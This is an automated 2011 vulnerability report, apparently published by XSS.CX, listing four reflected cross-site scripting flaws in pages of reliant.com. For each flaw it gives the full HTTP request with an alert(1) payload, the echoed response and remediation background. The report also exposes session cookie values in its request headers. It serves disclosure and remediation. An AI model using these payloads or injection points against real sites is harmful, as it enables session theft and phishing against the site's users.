XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, reliant.com

Report generated by XSS.CX at Fri Aug 19 06:17:22 GMT-06:00 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |

Loading

1. Cross-site scripting (reflected)

XSS in reliant.com, XSS, DORK, GHDB, Cross Site Scripting, CWE-79, CAPEC-86

1.1. https://www.reliant.com/en_US/Page/Shop/Public/misc_business_shop_landing.jsp [msg_code parameter]

1.2. https://www.reliant.com/en_US/Page/Shop/Public/misc_business_shop_landing.jsp [name of an arbitrarily supplied request parameter]

1.3. https://www.reliant.com/en_US/Page/Shop/Public/misc_business_shop_landing.jsp [s.campaign parameter]

1.4. https://www.reliant.com/en_US/Page/Shop/Public/bus_shop_landing_page.jsp [language_code cookie]



1. Cross-site scripting (reflected)
There are 4 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. https://www.reliant.com/en_US/Page/Shop/Public/misc_business_shop_landing.jsp [msg_code parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.reliant.com
Path:   /en_US/Page/Shop/Public/misc_business_shop_landing.jsp

Issue detail

The value of the msg_code request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6ea15'%3balert(1)//9970f6acffb was submitted in the msg_code parameter. This input was echoed as 6ea15';alert(1)//9970f6acffb in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /en_US/Page/Shop/Public/misc_business_shop_landing.jsp?s.campaign=AO_SmallBiz_Ercot&msg_code=|browser_support6ea15'%3balert(1)//9970f6acffb HTTP/1.1
Host: www.reliant.com
Connection: keep-alive
Referer: https://www.reliant.com/en_US/Page/Shop/Public/misc_business_shop_landing.jsp?s.campaign=AO_SmallBiz_Ercot
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: i_chronicle_id=09017522801091db; UserSessionFilterCookieID=401CDCEE-675A-19CB-50E8-7E6549BA88BB; JSESSIONID=D539D79A2C1D62F97425E20154156342; language_code=en_US; site_location=Shop; CurrentAccountSegment=Business; mbox=check#true#1313705464|session#1313705403446-730671#1313707264; s_cc=true; s_campaign=AO_SmallBiz_Ercot; s_nr=1313705403501-New; s_evar17=5%3A00PM; s_evar18=Thursday; s_evar19=Weekday; c=undefinedAO_SmallBiz_Ercotwww.nydailynews.com; s_evar37cvp=%5B%5B'Paid%2520Non-Search'%2C'1313705403504'%5D%5D; s_cp_persist=AO_SmallBiz_Ercot; gpv_p26=en%3Ahome%3Amisc%20business%20shop%20landing; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Server: Oracle-iPlanet-Web-Server/7.0
Date: Thu, 18 Aug 2011 22:14:08 GMT
Cache-control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache
Set-cookie: language_code=en_US; Domain=.reliant.com; Path=/
Set-cookie: i_chronicle_id=09017522801091db
Set-cookie: site_location=Shop; Domain=.reliant.com; Path=/
Set-cookie: CurrentAccountSegment=Business; Domain=.reliant.com; Path=/
Content-type: text/html;charset=utf-8
Via: 1.1 https-www.reliant.com_secure
Proxy-agent: Oracle-iPlanet-Web-Server/7.0
Content-Length: 64023


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd
...[SNIP]...
// Get key navigation values
var SUB_NAV_ROOT_ID = '';
var SUB_NAV_ROOT_NAME = '';
var SUB_NAV_ID = '';
var LANGUAGE_CODE = COOKIE_SET['language_code'];
var MSG_CODE='|browser_support6ea15';alert(1)//9970f6acffb';
-->
...[SNIP]...

1.2. https://www.reliant.com/en_US/Page/Shop/Public/misc_business_shop_landing.jsp [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.reliant.com
Path:   /en_US/Page/Shop/Public/misc_business_shop_landing.jsp

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 536fb'-alert(1)-'83554f99640 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /en_US/Page/Shop/Public/misc_business_shop_landing.jsp?s.campaign=AO_SmallBiz_Ercot&536fb'-alert(1)-'83554f99640=1 HTTP/1.1
Host: www.reliant.com
Connection: keep-alive
Referer: http://www.nydailynews.com/gossip/index.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Oracle-iPlanet-Web-Server/7.0
Date: Thu, 18 Aug 2011 22:13:33 GMT
Cache-control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-cookie: JSESSIONID=347A33EAC23D40831A55939E88FF7A63; Path=/
Set-cookie: language_code=en_US; Domain=.reliant.com; Path=/
Set-cookie: i_chronicle_id=09017522801091db
Set-cookie: site_location=Shop; Domain=.reliant.com; Path=/
Set-cookie: CurrentAccountSegment=Business; Domain=.reliant.com; Path=/
Pragma: no-cache
Content-type: text/html;charset=utf-8
Via: 1.1 https-www.reliant.com_secure
Proxy-agent: Oracle-iPlanet-Web-Server/7.0
Content-Length: 63954


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd
...[SNIP]...
ms[0]
var protocol = "http"
if (protocol == "http" || protocol == "HTTP") {
aForm.action = 'http:///en_US/Page/Shop/Public/misc_business_shop_landing.jspnull?s.campaign=AO_SmallBiz_Ercot&536fb'-alert(1)-'83554f99640=1'
aForm.submit();
}    
}
function addleadingZero(str)
       {
            var numbr ="";
            if (str.length < 2 ) {
               numbr = "0" + str
            } else {
               numbr = str;
            }
       
...[SNIP]...

1.3. https://www.reliant.com/en_US/Page/Shop/Public/misc_business_shop_landing.jsp [s.campaign parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.reliant.com
Path:   /en_US/Page/Shop/Public/misc_business_shop_landing.jsp

Issue detail

The value of the s.campaign request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c1100'-alert(1)-'536a0312d44 was submitted in the s.campaign parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /en_US/Page/Shop/Public/misc_business_shop_landing.jsp?s.campaign=AO_SmallBiz_Ercotc1100'-alert(1)-'536a0312d44 HTTP/1.1
Host: www.reliant.com
Connection: keep-alive
Referer: http://www.nydailynews.com/gossip/index.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Oracle-iPlanet-Web-Server/7.0
Date: Thu, 18 Aug 2011 22:13:20 GMT
Cache-control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache
Set-cookie: language_code=en_US; Domain=.reliant.com; Path=/
Set-cookie: i_chronicle_id=09017522801091db
Set-cookie: site_location=Shop; Domain=.reliant.com; Path=/
Set-cookie: CurrentAccountSegment=Business; Domain=.reliant.com; Path=/
Content-type: text/html;charset=utf-8
Via: 1.1 https-www.reliant.com_secure
Proxy-agent: Oracle-iPlanet-Web-Server/7.0
Content-Length: 63951


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd
...[SNIP]...
rms[0]
var protocol = "http"
if (protocol == "http" || protocol == "HTTP") {
aForm.action = 'http:///en_US/Page/Shop/Public/misc_business_shop_landing.jspnull?s.campaign=AO_SmallBiz_Ercotc1100'-alert(1)-'536a0312d44'
aForm.submit();
}    
}
function addleadingZero(str)
       {
            var numbr ="";
            if (str.length < 2 ) {
               numbr = "0" + str
            } else {
               numbr = str;
            }
       
...[SNIP]...

1.4. https://www.reliant.com/en_US/Page/Shop/Public/bus_shop_landing_page.jsp [language_code cookie]  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.reliant.com
Path:   /en_US/Page/Shop/Public/bus_shop_landing_page.jsp

Issue detail

The value of the language_code cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4b0a7"-alert(1)-"30213e4e980 was submitted in the language_code cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /en_US/Page/Shop/Public/bus_shop_landing_page.jsp HTTP/1.1
Host: www.reliant.com
Connection: keep-alive
Referer: https://www.reliant.com/PublicResourceDispatcher?pageAlias=CustomerCareFaq&userProfile=TRUE&siteLocationFlag=TRUE
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: i_chronicle_id=09017522801091db; UserSessionFilterCookieID=401CDCEE-675A-19CB-50E8-7E6549BA88BB; JSESSIONID=020C51063941E8130AE7ED4F8CA4E41E; mbox=check#true#1313705473|session#1313705403446-730671#1313707273; s_evar37cvp=%5B%5B'Paid%2520Non-Search'%2C'1313705413247'%5D%5D; s_cp_persist=AO_SmallBiz_Ercot; s_campaign=AO_SmallBiz_Ercot; c=undefinedAO_SmallBiz_Ercotundefined; language_code=en_US4b0a7"-alert(1)-"30213e4e980; i_chronicle_id=0901752280001b40; site_location=Shop; CurrentAccountSegment=Business; s_cc=true; WT_FPC=id=2711f551c5a235e31061313701832875:lv=1313701832875:ss=1313701832875; s_nr=1313705448061-New; s_evar17=5%3A00PM; s_evar18=Thursday; s_evar19=Weekday; gpv_p26=en%3Acustomer%20care%3Abus%3Afaqs; s_sq=relenprod%3D%2526pid%253Den%25253Acustomer%252520care%25253Abus%25253Afaqs%2526pidt%253D1%2526oid%253Dhttps%25253A%25252F%25252Fwww.reliant.com%25252Fen_US%25252FPage%25252FShop%25252FPublic%25252Fbus_shop_landing_page.jsp%2526ot%253DA

Response

HTTP/1.1 200 OK
Server: Oracle-iPlanet-Web-Server/7.0
Date: Thu, 18 Aug 2011 22:15:15 GMT
Cache-control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache
Set-cookie: language_code=en_US; Domain=.reliant.com; Path=/
Set-cookie: i_chronicle_id=0901752280024e45
Set-cookie: site_location=Shop; Domain=.reliant.com; Path=/
Set-cookie: CurrentAccountSegment=Business; Domain=.reliant.com; Path=/
Content-type: text/html;charset=utf-8
Via: 1.1 https-www.reliant.com_secure
Proxy-agent: Oracle-iPlanet-Web-Server/7.0
Content-Length: 27012


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd
...[SNIP]...
.PASSWORD.value != "") {
                           mykey = aForm.PASSWORD.value;
                       }
                       
                       aForm.target.value = ("https://www.reliant.com/en_US/OCS/protected/pre_account_txn.jsp?nfield=1&languageCode=en_US4b0a7"-alert(1)-"30213e4e980");
                       aForm.action = "https://www.reliant.com/siteminderagent/forms/login.fcc";
                       //Comment and uncomment incase of site maintenance
                       //aForm.action = "https://www.reliant.com/en_US/Sit
...[SNIP]...

Report generated by XSS.CX at Fri Aug 19 06:17:22 GMT-06:00 2011.